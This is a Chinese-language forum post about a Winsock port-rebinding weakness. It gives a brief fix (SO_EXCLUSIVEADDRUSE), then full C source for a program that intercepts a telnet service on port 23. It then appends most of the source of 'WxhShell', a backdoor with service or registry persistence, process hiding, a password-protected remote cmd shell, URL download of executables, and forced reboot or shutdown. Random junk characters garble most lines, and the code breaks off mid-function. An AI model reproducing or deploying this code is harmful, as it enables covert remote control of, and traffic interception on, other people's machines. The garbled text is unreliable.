在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X296tA>C` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0e ~JMUb c"V"zg22 saddr.sin_family = AF_INET;
EF}\brD1 r8rgY42 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J({Xg? RF4vtQC= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-23w2Qt >T3- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{~"/Y@&]R
mt p+rr 这意味着什么?意味着可以进行如下的攻击:
]e>w}L(gV !_D0vI; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9YQb& e+BQww 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z|j>gq [KaAXv
.X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^-Kf']hU V0.vQ/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
jaMjZp;{( s;Z\Io 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
dx{bB%?Y\= s6v; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sF?TmBQ* Jg\zdi:t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~{B7 k: MvHm)h #include
j94=hJVKi #include
0c'<3@39k| #include
KNpl:g3{<Q #include
yyRiP|hJ DWORD WINAPI ClientThread(LPVOID lpParam);
Ln<`E|[29 int main()
g:D>.lKd {
-)]Yr #Q WORD wVersionRequested;
~>Fu5i $i DWORD ret;
L Mbn WSADATA wsaData;
i8[t=6Rm@ BOOL val;
0gy/:T SOCKADDR_IN saddr;
%D}kD6= SOCKADDR_IN scaddr;
aweV#j(y int err;
{V$|3m>:* SOCKET s;
xPk8$1meZM SOCKET sc;
}c`"_L int caddsize;
#Z`q+@@]A HANDLE mt;
AFDq}*2Qb DWORD tid;
i6tf2oqO7 wVersionRequested = MAKEWORD( 2, 2 );
o_Z5@F err = WSAStartup( wVersionRequested, &wsaData );
m}aB?+i if ( err != 0 ) {
.4M.y:F printf("error!WSAStartup failed!\n");
$i}y 8nlQ return -1;
RJ ||} 5 }
aS{n8P6vW saddr.sin_family = AF_INET;
z/WE,R [.'|_l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y'~U%,ki6 +]A:M6P:{v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3kIN~/<R+7 saddr.sin_port = htons(23);
Ym{tR,g7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?{|q5n {
6?mibvK printf("error!socket failed!\n");
B^Nf #XN( return -1;
[.8BTj1% }
%C'?@,7C val = TRUE;
&Gn 2tr //SO_REUSEADDR选项就是可以实现端口重绑定的
]kG"ubHV?h if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
V2?=4mb {
#ASz;$P printf("error!setsockopt failed!\n");
o]` *M| return -1;
9T}pT{~V }
4(~L#}:r! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gA5/,wDO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
] =xE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7he,?T)vD T`.O'! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Lh"<XYY {
{3p4:*} ret=GetLastError();
Av$^ printf("error!bind failed!\n");
F/bT)QT<f return -1;
?m=N]!n }
*,)Md[ listen(s,2);
:q7Wy&ow while(1)
k\YG^I {
a|x.C6Pe caddsize = sizeof(scaddr);
axRV:w;E< //接受连接请求
FQ2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MS>Ge0P("~ if(sc!=INVALID_SOCKET)
P[#e/qnXu| {
b#Z{{eLny mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V>%rv'G8 if(mt==NULL)
V _/%b)* {
dvx#q5f_S printf("Thread Creat Failed!\n");
}DEg-j,F break;
WZejp}x }
gJXq^~-hd }
9ni1f{k CloseHandle(mt);
SSg8}m5)Q }
}6}l7x closesocket(s);
E7 Ul;d
WSACleanup();
JEwa
& return 0;
@= Uh',F }
OU(8V^. DWORD WINAPI ClientThread(LPVOID lpParam)
s1$nvTzBr {
u+e{Mim SOCKET ss = (SOCKET)lpParam;
}b"yU#`Q\ SOCKET sc;
Y3cMC) unsigned char buf[4096];
qu6D 5t SOCKADDR_IN saddr;
7qLpZ/ long num;
C12Fl DWORD val;
Nw/ ku DWORD ret;
PbgP\JeX //如果是隐藏端口应用的话,可以在此处加一些判断
"f2$w //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}J`w4P saddr.sin_family = AF_INET;
S6M}WR^, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
18d4fR saddr.sin_port = htons(23);
A5RN5`} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<QAFL uey {
V-2(?auZd printf("error!socket failed!\n");
nH'e?>x~e return -1;
Z1f8/?`W }
D~fl JR val = 100;
b-?gw64# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sPQQ"|wU {
[{,T.;'<j ret = GetLastError();
Apag{Z]^B return -1;
\?ZB]*Fu }
T|op$ s| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fS:&Ak
]; {
DE8n+Rm ret = GetLastError();
D~iz+{Q4 return -1;
AW'0,b`v }
)Y0!~#
` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qu@~g cE {
y0.'?6k printf("error!socket connect failed!\n");
o5O#vW2Il& closesocket(sc);
!cLo>,4 closesocket(ss);
KVaiugQ return -1;
S-b/S5 }
?V.cOR`6 while(1)
TR`U-= jH, {
8)3*6+D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-%CP@dAk //如果是嗅探内容的话,可以再此处进行内容分析和记录
tBWrL{xLe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P [ck84F/ num = recv(ss,buf,4096,0);
P{jbl!UD7 if(num>0)
{.|CdqwY send(sc,buf,num,0);
XS{Qnx_# else if(num==0)
'<xXK@=KEI break;
"ycJ:Xv49 num = recv(sc,buf,4096,0);
P%VSAh\|n if(num>0)
6=/F$| send(ss,buf,num,0);
A#<? 4& else if(num==0)
-p-ZzgQ break;
cn3\kT* }
yNo0ubY closesocket(ss);
h0f;F@I closesocket(sc);
~?Pw& K2 return 0 ;
EwT"uL*V; }
eA ?RK.e fu ,}1Mq# ,WYPU ==========================================================
$G+@_' EjR9JUu 下边附上一个代码,,WXhSHELL
5yo%$i8I k FD;i ==========================================================
~&{S<Wl 'ya{9EdlT #include "stdafx.h"
yYYSeH ^*Q ?]N #include <stdio.h>
(OL4Ex' ] #include <string.h>
NB#OCH1/9 #include <windows.h>
iByf{ I>+ #include <winsock2.h>
pRpBhm;iJ #include <winsvc.h>
djG*YM\B #include <urlmon.h>
hEH?[>9 rfg'G&A( #pragma comment (lib, "Ws2_32.lib")
#L;dI@7C #pragma comment (lib, "urlmon.lib")
69NeQ$]( {duz\k2 #define MAX_USER 100 // 最大客户端连接数
}C?'BRX #define BUF_SOCK 200 // sock buffer
4f@rv^f(X #define KEY_BUFF 255 // 输入 buffer
>Q;l(fdj n'LrQU #define REBOOT 0 // 重启
Uz8ff #define SHUTDOWN 1 // 关机
#A/ 'KL0@l #define DEF_PORT 5000 // 监听端口
v$v-2y'% -f^tE,- #define REG_LEN 16 // 注册表键长度
P4'Q/Sj #define SVC_LEN 80 // NT服务名长度
I6av6t} tw/dD + // 从dll定义API
9:|{6_Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#q$HQ&k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ZJJY8k ` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O
_ gGf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v{N`.~,^ !i}w~U< // wxhshell配置信息
5Ln,{vsv struct WSCFG {
exUFS5d int ws_port; // 监听端口
"+nRGEs6 char ws_passstr[REG_LEN]; // 口令
4e7-0}0 int ws_autoins; // 安装标记, 1=yes 0=no
s
5Qcl;} char ws_regname[REG_LEN]; // 注册表键名
ksUcx4;a@F char ws_svcname[REG_LEN]; // 服务名
-d/
=5yxL char ws_svcdisp[SVC_LEN]; // 服务显示名
d&Zpkbh" char ws_svcdesc[SVC_LEN]; // 服务描述信息
yx[/|nZDC4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7xlkZF int ws_downexe; // 下载执行标记, 1=yes 0=no
eC4[AX6e char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8kIksy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2@],ZLa rZ$O?K };
Of#u +TL%-On // default Wxhshell configuration
4F:\-O struct WSCFG wscfg={DEF_PORT,
K@]4g49A/j "xuhuanlingzhe",
eM6<%?b 1,
Dml;#'IF3 "Wxhshell",
v ;{#Q&( "Wxhshell",
_;y9$"A "WxhShell Service",
Gb6 'n$g "Wrsky Windows CmdShell Service",
d7y[0<xM "Please Input Your Password: ",
u&vf+6=9Dd 1,
Hvi49c]] "
http://www.wrsky.com/wxhshell.exe",
2l'6. "Wxhshell.exe"
jB2[( };
<'Eme g:@#@1rB6 // 消息定义模块
oZgjQM$YP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
h(dvZ=
% char *msg_ws_prompt="\n\r? for help\n\r#>";
%wy.TN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h;"4+uw char *msg_ws_ext="\n\rExit.";
?l{nk5,?-Y char *msg_ws_end="\n\rQuit.";
5C]x!>kX char *msg_ws_boot="\n\rReboot...";
$a]`nLUa char *msg_ws_poff="\n\rShutdown...";
2F.;;Ab char *msg_ws_down="\n\rSave to ";
%sP*=5?vA q?yVR3]M char *msg_ws_err="\n\rErr!";
H*R"ntI?w char *msg_ws_ok="\n\rOK!";
Bsvr?|L\ IEi^kJflU char ExeFile[MAX_PATH];
U7F!Z(
9 int nUser = 0;
90rol~M& HANDLE handles[MAX_USER];
JH9J5%sp int OsIsNt;
LH% F8 0s[Hkhls SERVICE_STATUS serviceStatus;
CAhXQ7w'Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
(w3YvG. X+9>A.92 // 函数声明
ZLejcYS int Install(void);
ouQ T int Uninstall(void);
M6jy\<a int DownloadFile(char *sURL, SOCKET wsh);
~36!?&eA8 int Boot(int flag);
g3y~bf void HideProc(void);
@":
^)87 int GetOsVer(void);
tyFzSrfc int Wxhshell(SOCKET wsl);
^nz.j void TalkWithClient(void *cs);
rb.N~ int CmdShell(SOCKET sock);
$UWZDD int StartFromService(void);
6bC3O4Rw int StartWxhshell(LPSTR lpCmdLine);
x 9fip-
}my`K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-Q*gW2KmV VOID WINAPI NTServiceHandler( DWORD fdwControl );
5t]H?b8 24eLB?H // 数据结构和表定义
I\ob7X'Xu! SERVICE_TABLE_ENTRY DispatchTable[] =
4D4j7 {
NXrlk {wscfg.ws_svcname, NTServiceMain},
W${Ue#w77 {NULL, NULL}
>kVz49j };
&h/Xku&0 >y3=| // 自我安装
U5de@Y int Install(void)
h2R::/2. {
7{*>agQh char svExeFile[MAX_PATH];
gM:".Ee HKEY key;
q 2E_A strcpy(svExeFile,ExeFile);
f
;n3&e0eC ;e *!S}C, // 如果是win9x系统,修改注册表设为自启动
%h!B^{0 if(!OsIsNt) {
} q8ASYNc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zrb}_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=7eV/3 RegCloseKey(key);
8d'0N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wne@<+mX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^1.By^
$ RegCloseKey(key);
S,he6zS return 0;
{`@G+JV~Jw }
|CyE5i0 }
;i+jJ4 }
(GfZ* else {
=Xr.'(U tWcHb # // 如果是NT以上系统,安装为系统服务
VOLj>w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gPPkT" if (schSCManager!=0)
RA
L~!"W {
@q)d SC_HANDLE schService = CreateService
P&Vv/D (
j8sH|{H!Nq schSCManager,
wibNQ`4k wscfg.ws_svcname,
cvL;3jRo wscfg.ws_svcdisp,
[4)F f SERVICE_ALL_ACCESS,
=I_'.b SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|A(Iti{v SERVICE_AUTO_START,
tCt#%7J;a SERVICE_ERROR_NORMAL,
+ZP7{% svExeFile,
f/?P514h NULL,
r~['VhI!;E NULL,
Z%UP6% NULL,
'I;zJ`Trd NULL,
$XH^~i; NULL
OjA,]Gv6 );
CqC`8fD1 if (schService!=0)
9\(|
D# {
Q3?F(ER@ CloseServiceHandle(schService);
p]c%f2E>d CloseServiceHandle(schSCManager);
Q"#J6@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
fk-RV>yr strcat(svExeFile,wscfg.ws_svcname);
X:{!n({r= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A04U /; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-KbYOb RegCloseKey(key);
!&E-}}< return 0;
:ShT|n7 }
jPkn[W#
6 }
aN3;`~{9 CloseServiceHandle(schSCManager);
?a]mDx>xh }
)4 ;`^]F }
0"z9Q\{} 9Mcae31 return 1;
_yR^*}xJb }
e*1_ 8I#2 R4d=S4i // 自我卸载
Tlr v={ int Uninstall(void)
uB?ZcF}Tk {
"0TZTa1e HKEY key;
)V9bI( v lp8v0e4 if(!OsIsNt) {
dj%!I:Q>u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W2!+z{:m RegDeleteValue(key,wscfg.ws_regname);
A3*!"3nU RegCloseKey(key);
%;!.n{X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\_f v7Fdp{ RegDeleteValue(key,wscfg.ws_regname);
|y!A&d=xYn RegCloseKey(key);
,/unhfs1q return 0;
DtnEi4h, }
dAj$1Ke }
Znv,9- }
I%Z else {
3Zh)]^ e+K^Aq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BJ(M2|VH if (schSCManager!=0)
Wc
'H {
Etm?' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
g9F?z2^ if (schService!=0)
bg0Wnl {
\l3h0R if(DeleteService(schService)!=0) {
m#p'iU*va, CloseServiceHandle(schService);
u]@['7 CloseServiceHandle(schSCManager);
`r_/Wt{g return 0;
)!T/3|C }
Xn
;AZu^'R CloseServiceHandle(schService);
>(RkZ}z }
jc9y<{~x/ CloseServiceHandle(schSCManager);
+ck}l2 }
.N(p=9 }
i}?>g -( Y<8vw
d return 1;
1BEHw?dLU }
U/BR*Zn]* Tm?# M&' // 从指定url下载文件
{(}By/_ int DownloadFile(char *sURL, SOCKET wsh)
Z/J y'$x {
yV(\R HRESULT hr;
?bu>r=oIO] char seps[]= "/";
nQS|Lt_+ char *token;
L/^I*p, char *file;
?z
u8)U char myURL[MAX_PATH];
>o,TZc\ char myFILE[MAX_PATH];
"zy7C*)>r bN@
l?w strcpy(myURL,sURL);
cN9t{.m token=strtok(myURL,seps);
1-QS~)+ while(token!=NULL)
.%QXzIa3F {
CJI~_3+K file=token;
W@!S%Y9 token=strtok(NULL,seps);
;9g2?-svw
}
OZ!^ak 4E?Oky#}- GetCurrentDirectory(MAX_PATH,myFILE);
3f;>" P} strcat(myFILE, "\\");
S21,VpW\ strcat(myFILE, file);
t0?\l) send(wsh,myFILE,strlen(myFILE),0);
POR\e|hRT] send(wsh,"...",3,0);
VLN_w$iEq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!{41!O,K# if(hr==S_OK)
G*v,GR return 0;
>lM l else
&jr3B;g!C return 1;
&
ZB E1 f\%!2l }
2GStN74X r "C3/T&F // 系统电源模块
01o4Th m int Boot(int flag)
>-{Hyx {
<rS F* HANDLE hToken;
ws^ np TOKEN_PRIVILEGES tkp;
xn|(9#1o q"_QQ~ if(OsIsNt) {
pY$Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<b<j=_3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
GowH]MO tkp.PrivilegeCount = 1;
jlg(drTo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>)Tqt!? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H 7
^/q7 if(flag==REBOOT) {
D|#E9OQzs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
uSBaDYg return 0;
T9q-,w/j; }
2VCI 1E else {
*HB-QIl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&]-DqK7 return 0;
*4_Bd=5(U }
s(roJbJ_; }
S`?!G&[!> else {
9Lfv^V0 if(flag==REBOOT) {
8e"gW >f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-s'-eQF J return 0;
?P c' C }
pFz`}?c0 else {
e<q?e}>? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
eKqk= ( return 0;
ymcLFRu, }
$xdy& }
eQvg7aO; w:l
V"]1 return 1;
?@
$r }
e64 ^ChCoV -C&P%tt Y // win9x进程隐藏模块
vgN&K@hJ void HideProc(void)
0'o:#- {
w"&n?L
1ZB"EQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_8agtQ:< if ( hKernel != NULL )
$]2vvr {
!_Z&a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"G9xMffW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?#Q #u|~ FreeLibrary(hKernel);
F^fdIZx }
2T[9f;jM' zs#@jv$ return;
;mKb] }
S?BG_J6A7 4|#WFLo@ // 获取操作系统版本
>~+ELVB& int GetOsVer(void)
{P#|zp 4C{ {
U\!X,a*ts{ OSVERSIONINFO winfo;
CQDkFQq-dq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-1ub^feJ, GetVersionEx(&winfo);
n>U5R_T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6/dI6C! return 1;
Tkgs]q79 else
IRqy%@) return 0;
42ivT_H }
iM3V=&) i8HTzv"J // 客户端句柄模块
8Kk(8a&v int Wxhshell(SOCKET wsl)
DrK{}uM {
8BNi1Qn$ SOCKET wsh;
;@E$}*3[>V struct sockaddr_in client;
\:F_xq DWORD myID;
l0i^uMS )B8$<sv while(nUser<MAX_USER)
r^ ZEImjc {
lBGQEP3; int nSize=sizeof(client);
.y:U&Rw4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
uOdl*| T? if(wsh==INVALID_SOCKET) return 1;
c<$OA=n EI^C{$Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G[q$QB+ if(handles[nUser]==0)
`%WU8Yv closesocket(wsh);
cD'V>[h else
2WYPO"q nUser++;
fvxu#m= }
:tv,]05t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
C'}KTXiRW | (_ return 0;
HT1!5 }
A1zjPG&] Bo%NFB; // 关闭 socket
"wh ,Ue void CloseIt(SOCKET wsh)
fPW@{~t {
"OnGE$ closesocket(wsh);
-_eLf#3 nUser--;
s.NGA.]$ ExitThread(0);
WaR`Kp+> }
%FI E\9 \6*I'|5d // 客户端请求句柄
hTi$.y!k void TalkWithClient(void *cs)
#|PS&}6wU {
pBA7,z"`mP ~Vjl7G\7i SOCKET wsh=(SOCKET)cs;
q.`NtsW!\+ char pwd[SVC_LEN];
k7A-J\ char cmd[KEY_BUFF];
x{/g(r={} char chr[1];
5iydZ int i,j;
zi`o#+ ]+:^W^bs: while (nUser < MAX_USER) {
(;^syJrh J!U}iD@occ if(wscfg.ws_passstr) {
Pw!MS5=r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ChXq4] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#"iu|D //ZeroMemory(pwd,KEY_BUFF);
[-oc>;`=l i=0;
AX/m25x while(i<SVC_LEN) {
w!clI8v/ ZSd4z:/ // 设置超时
Pce;r*9 fd_set FdRead;
i9][N5\$ struct timeval TimeOut;
$aXer: FD_ZERO(&FdRead);
U2s /2 [. FD_SET(wsh,&FdRead);
G,Azm}+ TimeOut.tv_sec=8;
K?$^@N TimeOut.tv_usec=0;
** G9H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.gOL1`b* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hv_XP,1K aM0f/"-_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+@iA;2& pwd
=chr[0]; ]^K4i)\
if(chr[0]==0xd || chr[0]==0xa) { >%8KK|V{
pwd=0; )+t0:GwP`:
break; H-f X(9
} _Qi&J.U>
i++; *>qp:;,DKP
} H@8sNV/u
M, mvys$
// 如果是非法用户,关闭 socket L"Olwwmk
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8k1Dj1@0z
} mk+B9?;cF-
2{G:=U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b |p)9&^r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s
15oN
+l{=
while(1) { t"'7m^j
LsS
ZeroMemory(cmd,KEY_BUFF); R2]Z kg
.O}%
// 自动支持客户端 telnet标准 dP]\Jo=Yh
j=0; `W/>XZl+t
while(j<KEY_BUFF) { >{J(>B\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :mn>0jK,N
cmd[j]=chr[0]; Cg?&wj<
if(chr[0]==0xa || chr[0]==0xd) { d;9FB[MmOJ
cmd[j]=0; ls:w8&`*
break; *QQzvhk
} {v;&5! s
j++; o:P}Wg/NK
} .rqhi
cI?8RF(;
// 下载文件 +jnJ|h({
if(strstr(cmd,"http://")) { JKmIvZ)8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :~N-.#
if(DownloadFile(cmd,wsh)) TXvI4"&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\6u9BYG
else !sW(wAy?o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s %\-E9
T
} v"XGC i91L
else { y0.8A-2:
c*L\_Vx+
switch(cmd[0]) { iq( E'`d
EkNunCls
// 帮助 @?
QoF#D
case '?': { jeH~<t{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O%KsD[W;
break; (~wqa 3
} X1-'COQS%&
// 安装 g+>(dnX
case 'i': { qUGC"<W
if(Install()) };jN\x?&q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (VEpVn3{
else eMY<uqdw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ah0`KxO]
break; #
,_u_'C*!
} 8hJ%JEzga
// 卸载 RA'M8:$
case 'r': { $jI3VB
if(Uninstall()) > $7v
;Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f"SD/]q-
else m\r@@!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bITPQ7+
break; S:oi<F
} :AF =<X*5
// 显示 wxhshell 所在路径 ;=;
9tX
case 'p': { {rH@gz|@i
char svExeFile[MAX_PATH]; :L RYYw
strcpy(svExeFile,"\n\r"); 92x(u%~E
strcat(svExeFile,ExeFile); hYNY"VB
send(wsh,svExeFile,strlen(svExeFile),0); k_5L4c:"
break; q?DTMKx
} v}O30wE
// 重启 'o+L41
case 'b': { ^l=!JP=M=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }v!$dr,j'
if(Boot(REBOOT)) Vjp1RWb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4+"Lh.KS
else { C=)A6
;=se
closesocket(wsh); P.;aMRMR
ExitThread(0); u:gN?O/G
} 9-
YwkK#z
break; MmnOHN@.
} B9$jSD
// 关机 lpeEpI/gM
case 'd': { }v*G_}^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4@n1Uk
if(Boot(SHUTDOWN)) `c5"d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$1bWUS&
else { Raxrb=7
closesocket(wsh); iAa.}CI,zB
ExitThread(0); gVv>9W('
} SmdjyK1~8
break; =`:K{loxq
} 1V4s<m>#
// 获取shell -tHU6s,
case 's': { 'y2nN=CN
CmdShell(wsh); I^UC&5dC
closesocket(wsh); o-{[|/)Tk
ExitThread(0); *`\Pr
break; XY)&}u.
} K/b_22]CC
// 退出
;"fDUY|
case 'x': { t.&Od;\[/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !QHFg-=7
CloseIt(wsh); 9XyYHi
break; FsV'Cu@!U
} WD2]&g
// 离开 pP?MWe
Eg
case 'q': { cc&axc7I
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^xHTW g%9
closesocket(wsh); v'qG26
WSACleanup(); Co9QW/'i
exit(1); hMUs"
<.
break; GCX G/k?w:
} (m.ob+D
} 8a="/J
} XKttZOiGT
N#7QzB9]
// 提示信息 ^m"u3b4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8V)^R(\;
} r>"
} *x])Y~oQ
?^$MRa:D
return; oA7;.:3
} V7[zAq
LbG_ z =A
// shell模块句柄 j =WST
int CmdShell(SOCKET sock) .0iQad&duh
{ U.XNv-M
STARTUPINFO si; e~@[18
ZeroMemory(&si,sizeof(si)); 'fF;(?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wX[8A/JPD
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )V ;mwT!Q
PROCESS_INFORMATION ProcessInfo; MHai%E
char cmdline[]="cmd"; n\5RAIg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x2z;6)
return 0; W$rH"_@m
} < hO
/jB
T/xp?Vq6/
// 自身启动模式 2
:mn</z
int StartFromService(void) I8<,U!$
{ !+4cqO
typedef struct 079'(%
{ !{)tSipd
DWORD ExitStatus; xw
T%),
DWORD PebBaseAddress; M57T2]8,
DWORD AffinityMask; w{uuSe
DWORD BasePriority; T2 Y,U {
ULONG UniqueProcessId; g'=B%eO$j:
ULONG InheritedFromUniqueProcessId; .I'o
